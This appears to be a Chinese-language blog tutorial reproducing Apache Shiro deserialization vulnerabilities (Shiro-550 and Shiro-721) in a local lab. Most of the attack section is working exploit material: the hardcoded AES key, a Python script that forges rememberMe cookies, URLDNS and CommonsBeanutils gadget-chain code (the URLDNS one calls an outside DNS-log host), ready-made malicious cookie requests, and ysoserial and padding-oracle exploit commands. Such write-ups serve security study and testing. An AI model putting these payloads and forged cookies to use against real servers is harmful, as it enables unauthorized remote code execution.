shiro
Apache Shiro是一个强大且易用的Java安全框架,提供了身份验证、授权、密码学和会话管理等功能。它被广泛用于保护各种类型的应用程序,包括Web应用、RESTful服务、移动应用和大型企业级应用。使用Shiro,你可以将安全性集成到应用程序中而不必担心复杂的实现细节。
shiro特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
shiro550
**Shiro反序列化原理:**Apache Shiro框架提供了 RememberMe 功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。因此攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞
环境
1 2 3 4 5
| jdk:jdk8u65 tomcat:Tomcat 9.0.107 Shiro 1.2.4 shiro源码下载:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4 war包地址:https://github.com/jas502n/SHIRO-550
|
漏洞分析
当收到cookie,入口在src/main/java/org/apache/shiro/web/mgt/CookieRememberMeManager.java
CookieRememberMeManager.getRememberedSerializedIdentity()
会将收到的cookie进行base64解码,返回aes加密后的数据
1 2 3 4 5 6 7 8 9 10
| if (base64 != null) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]"); } byte[] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes."); } return decoded;
|
查看getRememberedSerializedIdentity()函数调用,发现在CookieRememberMeManager的父类AbstractRememberMeManager进行调用
AbstractRememberMeManager
getRememberedPrincipals()
判断解密后数据是否为空,不为空就交给convertBytesToPrincipals()函数调用
1 2 3 4 5
| byte[] bytes = getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); }
|
convertBytesToPrincipals()
调用解密函数,将解密后的数据进行反序列化
1 2 3 4 5 6
| protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
|
decrypt()
会调用cipherService.decrypt()方法进行解码,getDecryptionCipherKey()应该就是对象key
1 2 3 4 5 6 7 8 9
| protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
|
getDecryptionCipherKey()
1 2 3
| public byte[] getDecryptionCipherKey() { return decryptionCipherKey; }
|
decryptionCipherKey
decryptionCipherKey是一个字段,寻找写入
1
| private byte[] decryptionCipherKey;
|
setDecryptionCipherKey()
1 2 3
| public void setDecryptionCipherKey(byte[] decryptionCipherKey) { this.decryptionCipherKey = decryptionCipherKey; }
|
寻找**setDecryptionCipherKey()**函数调用
setCipherKey()
1 2 3 4
| public void setCipherKey(byte[] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
|
继续寻找**setCipherKey()**函数调用
AbstractRememberMeManager()
1 2 3 4 5
| public AbstractRememberMeManager() { this.serializer = new DefaultSerializer<PrincipalCollection>(); this.cipherService = new AesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
|
DEFAULT_CIPHER_KEY_BYTES
1
| private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
|
终于找到最终的key,为硬编码写入,因此只需要key就可以自定义恶意cookie
利用
保存cookie
序列化->aes加密->base64编码->保存
读取cookie
base64解码->aes解密->反序列化
因此只需将利用链序列化后用aes加密再进行base64编码即可。
URLDNS链
这条链不挑jdk,不挑版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class Main { public static void main(String[] args) throws Exception{ HashMap<Object, Object> map = new HashMap<>(); URL url = new URL("http://8e5be65d.log.dnslog.myfw.us."); Field hashCode = URL.class.getDeclaredField("hashCode"); hashCode.setAccessible(true); hashCode.set(url,1); map.put(url,null); hashCode.set(url,-1); serialize(map);
} public static void serialize(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); }
public static void deserialize() throws Exception{ FileInputStream fis = new FileInputStream("ser.bin"); ObjectInputStream ois = new ObjectInputStream(fis); System.out.println(ois.readObject()); } }
|
序列化得到文件,使用python结合key进行加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def get_file(name): with open(name,'rb') as f: data = f.read() return data def en_aes(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return base64_ciphertext if __name__ == '__main__': data = get_file("ser.bin") print(en_aes(data))
|
1
| HcvL0eACQd2tteGIE8QIhKXGUq+/2mHyqBCdcYpaTevzm4EsHY4j0bo1lI5rH8ieTvWEOCl7rOu/FY/cCLTaht53dUSVMMdSe07kY+f+LWoeB4NJu04feY3TwPmVtL9RhpjbPmaqgTfGJE4uEOQyp/mWHYgqaUR9O7NtPT4mBRTUM1r/D2L4uMZQO9QyOqzAz3kvPicWevF2x6fPVDVY+zzGA5IpUA0bvjIJHUaCT8NOhisjx42rYq+gzrpLjI5KovprXafBUsomLce2qRmlEb1ymhabPnLurAIYRttWVoY9oITV6f4dD2VghUthEMIVo4nYA2iWyJirJi42s9/SAmMAPwQEN4Rfg+zqVKmX9aSUAlEhX/MNKFCyGBuAg1+O
|
构造数据包发送
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| GET /samples_web_1_2_4_war/ HTTP/1.1 Host: localhost:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://localhost:8080/samples_web_1_2_4_war/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie:rememberMe=HcvL0eACQd2tteGIE8QIhKXGUq+/2mHyqBCdcYpaTevzm4EsHY4j0bo1lI5rH8ieTvWEOCl7rOu/FY/cCLTaht53dUSVMMdSe07kY+f+LWoeB4NJu04feY3TwPmVtL9RhpjbPmaqgTfGJE4uEOQyp/mWHYgqaUR9O7NtPT4mBRTUM1r/D2L4uMZQO9QyOqzAz3kvPicWevF2x6fPVDVY+zzGA5IpUA0bvjIJHUaCT8NOhisjx42rYq+gzrpLjI5KovprXafBUsomLce2qRmlEb1ymhabPnLurAIYRttWVoY9oITV6f4dD2VghUthEMIVo4nYA2iWyJirJi42s9/SAmMAPwQEN4Rfg+zqVKmX9aSUAlEhX/MNKFCyGBuAg1+O Content-Length: 43
Content-Length: 21
Connection: close
|
成功触发

cb链
使用maven helper插件判断项目可用依赖,发现项目在使用cb1.8.3,可使用无cc依赖的cb链

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| public class cb2 { public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field nameField = clazz.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"sb"); byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class")); byte[][] code={ eval }; Field bytecodesField = clazz.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates,code); Field tfactoryField = clazz.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator); priorityQueue.add("1"); priorityQueue.add("2");
Field property = BeanComparator.class.getDeclaredField("property"); property.setAccessible(true); property.set(comparator, "outputProperties"); Field queueField = PriorityQueue.class.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queueArray = (Object[]) queueField.get(priorityQueue); queueArray[0] = templates; queueArray[1] = templates; serialize(priorityQueue);
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static void deserialize() throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin")); Object o = ois.readObject(); } }
|
还是将其生成文件再进行加密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| GET /samples_web_1_2_4_war/ HTTP/1.1 Host: localhost:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://localhost:8080/samples_web_1_2_4_war/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie:rememberMe=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 Content-Length: 21
Connection: close
|
成功执行

ShiroAttack2
https://github.com/SummerSec/ShiroAttack2
填入url即可自动检测shiro即爆破密钥


shiro721
知道已经登陆用户的合法cookie且目标服务器含有可利用的攻击链就可以进行漏洞利用。
原理
shiro721用到的加密方式是AES-CBC,而且其中的ase加密的key基本猜不到了,是系统随机生成的。而cookie解析过程跟shiro550 cookie的解析过程一样,也就意味着如果能伪造恶意的rememberMe字段的值且目标含有可利用的攻击链的话,还是能够进行RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进而实现rememberMe的内容伪造。
影响版本:
1 2 3 4 5 6 7 8
| 1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1
|
shiro-721对cookie中rememberMe的值的解析过程

Padding Oracle Attack
分组密码填充
首先我们知道密码都是字符,一个字符8bit也就是1个byte。
aes加密的时候会将字符进行分组并填充,有可能是每8字节一组,也可能是16字节一组。
但是密码不可能恰好填满每个组,可能第一组填满了,第二组只有一个字符,这时候就需要进行填充。
假设密码为一个1,且加密算法中分组的逻辑是8个字节也就是64bit为一组。因为1只占1个字节,所以第一组中还有7个字节是空的。这时候第一组中的数据为:
1
| 1 0x07 0x07 0x07 0x07 0x07 0x07 0x07
|
如果明文恰好不需要填充比如是8个1,且分组逻辑还是8个字节也就是64bit为一组,那么分完组的明文如下:
1
| 0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08
|
综上,填充的逻辑是,一定会填充数据,区别是填充一个组还是填充几位,如果分组后的明文最后一组中有N字节没有数据就填充0x0N。
如果分组后刚好合适,那么额外添加一个组,且这个组的明文数据一定全是0xXY,0xXY是多少取决于aes加密的分组逻辑与填充了多少个数据。
这样,解密的时候:
- 如果看到最后一组是
0x10 * 16 → 知道这是填充,不是用户数据。
- 如果看到最后一组有别的值 → 那就是实际数据。
环境搭建
1 2 3 4
| git clone https://github.com/inspiringz/Shiro-721.git cd Shiro-721/Docker docker build -t shiro-721 . docker run -p 8080:8080 -d shiro-721
|
漏洞复现
将其中的remember Me字段复制下来输入到工具中进行利用:
1 2 3 4 5 6 7 8 9 10 11
| GET / HTTP/1.1 Host: 192.168.1.8:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.1.8:8080/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=d802b5e4-b796-4007-b7cc-43c85edd0cbb; rememberMe=aGeHosyUA6MRXG/5SMKGdBKFU8xP9B9R2bmDyGuDbAXItkIfzKPYRn+Dc5yIz+hUV5W9wiwp0PNKtEuSl9legk5OzO79INnc3luf6kETTZ60HR1gpJtH8vLstxAAtJA2TLnaI331MVdKplSoh9KlQv5Z2A1+KCKlXz/hpa7G8pByGME1UuHmobxuV/LCjNGnnWfSeCjySYSUWeCp6KyUPsm2nb8aHao+lWvSiMM28lmyJc0aIZI/bv9MCIBXl26IJRzhSJq6qSHAyGo4UeNRHXVQkk0wjrrNBTc4aX9qpF+6pJ8Q0xpRF+IabOle3PWjvPzBTpROikrBbVbg4kT9HJcbZShXXXOmBeScIFgeDozPMegvJSGj6OI/GawfQP8zhwwL04gTh+FvDsytSKLmZ8CJsYf+4vHuWz6xMVMQVEuMsNbqJGpjNjJBZoWqYuQL7CEPRMDIeccsqzsPfvayKn9mcqZzpZwAP062R2iloXvjCHgHsNHKWGhvnfuXeJvS Connection: close
|
1
| java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/123" >payload.class
|
1
| python shiro_exp.py http://192.168.1.8:8080/login.jsp aGeHosyUA6MRXG/5SMKGdBKFU8xP9B9R2bmDyGuDbAXItkIfzKPYRn+Dc5yIz+hUV5W9wiwp0PNKtEuSl9legk5OzO79INnc3luf6kETTZ60HR1gpJtH8vLstxAAtJA2TLnaI331MVdKplSoh9KlQv5Z2A1+KCKlXz/hpa7G8pByGME1UuHmobxuV/LCjNGnnWfSeCjySYSUWeCp6KyUPsm2nb8aHao+lWvSiMM28lmyJc0aIZI/bv9MCIBXl26IJRzhSJq6qSHAyGo4UeNRHXVQkk0wjrrNBTc4aX9qpF+6pJ8Q0xpRF+IabOle3PWjvPzBTpROikrBbVbg4kT9HJcbZShXXXOmBeScIFgeDozPMegvJSGj6OI/GawfQP8zhwwL04gTh+FvDsytSKLmZ8CJsYf+4vHuWz6xMVMQVEuMsNbqJGpjNjJBZoWqYuQL7CEPRMDIeccsqzsPfvayKn9mcqZzpZwAP062R2iloXvjCHgHsNHKWGhvnfuXeJvS payload.class
|
此 exp 爆破时间较长,建议使用 ysoserial 生成较短的 payload 验证(eg: ping 、 touch /tmp/success, etc),约 1 个多小时可生成正确的 rememberme cookie,生成成功后将自动停止运行。

生成cookie

发送数据包
1 2 3 4 5 6 7 8 9 10 11 12
| GET / HTTP/1.1 Host: 192.168.1.8:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.1.8:8080/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=d802b5e4-b796-4007-b7cc-43c85edd0cbb; rememberMe=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 Connection: close
|
成功执行

参考链接
https://blog.csdn.net/qq_41874930/article/details/121314926
https://www.cnblogs.com/smileleooo/p/18171246